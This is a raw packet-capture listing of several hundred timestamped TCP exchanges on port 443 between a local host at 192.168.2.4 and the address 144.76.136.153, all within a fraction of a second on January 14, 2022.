Jan 14, 2022 09:25:57.509967089 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.509996891 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510015965 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510066986 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510190010 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510242939 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510298967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510319948 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510334969 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510390997 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510620117 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510658979 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510714054 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.510730028 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.510747910 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511038065 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511074066 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511126995 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511147022 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511161089 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511219978 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511343956 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511380911 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511434078 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511446953 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511465073 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511507034 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511682987 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511722088 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511815071 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511828899 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.511842966 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.511894941 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512077093 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512115002 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512160063 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512175083 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512191057 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512228012 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512293100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512331963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512379885 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512393951 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512437105 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512447119 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512496948 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512536049 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512729883 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512737036 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512754917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512854099 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512860060 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.512890100 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.512898922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.513008118 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.513015985 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.515948057 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.515986919 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516042948 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516058922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516079903 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516115904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516438007 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516477108 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516551018 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516571045 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516585112 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516624928 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516676903 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516714096 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516757011 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516772032 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.516788960 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516824961 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.516968966 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517005920 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517052889 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517066002 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517081022 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517129898 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517246008 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517283916 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517329931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517343998 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517359018 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517575026 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517611980 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517663002 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517677069 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517693043 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517728090 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517755032 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517803907 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.517851114 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.517867088 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535547972 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535563946 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535587072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535595894 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535672903 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535681963 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535731077 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535744905 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535780907 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535790920 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535798073 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535864115 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535877943 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535903931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535931110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.535983086 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.535998106 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536016941 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536025047 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536068916 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536076069 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536098003 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536129951 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536159039 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536201000 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536235094 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536241055 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536254883 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536276102 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536317110 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536530972 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536569118 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536647081 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536659956 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536676884 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536695004 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536730051 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536777973 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536792040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536806107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.536870003 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.536984921 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537002087 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537022114 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537055016 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537056923 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537079096 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537092924 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537134886 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537205935 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537240982 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537288904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537307024 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537321091 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537342072 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537369967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537379980 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537399054 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537476063 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537508965 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537556887 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537599087 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537619114 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.537632942 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.537669897 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.538980961 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539017916 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539076090 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539091110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539138079 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539158106 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539227009 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539263010 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539309025 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539323092 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539339066 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539398909 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539433956 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539490938 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539505005 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.539521933 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.539566994 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.540419102 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.540458918 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.540524006 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.540539026 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.540555954 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.540946960 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.540982008 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541028023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541043997 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541059971 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541098118 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541495085 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541533947 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541593075 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541606903 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541646004 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541660070 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541678905 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541717052 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541757107 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541771889 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541789055 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541830063 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.541914940 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541953087 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.541997910 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.542011976 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.542035103 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.545912981 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.550470114 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.550520897 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.550616980 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.550632954 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.550661087 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.550697088 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.551963091 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.551997900 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.552057981 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.552072048 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.552099943 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.552223921 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553375006 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553410053 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553467989 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553482056 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553527117 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553551912 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553649902 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553684950 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553792953 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553807974 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553863049 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.553960085 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.553992987 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554034948 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554049015 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554070950 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554105997 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554245949 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554280996 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554320097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554333925 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554354906 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554379940 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554603100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554653883 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554699898 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554713011 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554729939 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554768085 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554852009 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554884911 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.554949045 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.554964066 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.555007935 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.555073023 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.558728933 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.558765888 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.558808088 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.558823109 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.558847904 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.558873892 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.559540033 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559577942 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559626102 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.559640884 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559657097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.559711933 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.559786081 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559822083 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559859037 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.559873104 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.559927940 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560031891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560151100 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560188055 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560240984 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560292959 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560305119 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560481071 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560502052 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560517073 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560539961 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560563087 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560578108 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560586929 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560609102 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560642958 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560739040 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560777903 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560833931 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560848951 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.560863018 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.560923100 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561018944 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561054945 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561105967 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561120033 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561134100 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561225891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561284065 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561321020 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561439037 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561475992 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561486959 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.561530113 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.561559916 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562536001 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562575102 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562655926 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562671900 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562690020 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562717915 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562755108 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562763929 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562778950 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562819958 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562865973 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.562899113 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562935114 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.562989950 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.563002110 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.563016891 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.563047886 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.563425064 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.563467026 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.563518047 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.563533068 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.563554049 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.563604116 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565028906 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565064907 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565233946 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565249920 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565306902 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565443993 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565496922 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565551043 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565563917 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565591097 CET	49888	443	192.168.2.4	144.76.136.153
Jan 14, 2022 09:25:57.565808058 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565872908 CET	443	49888	144.76.136.153	192.168.2.4
Jan 14, 2022 09:25:57.565905094 CET	49888	443	192.168.2.4	144.76.136.153
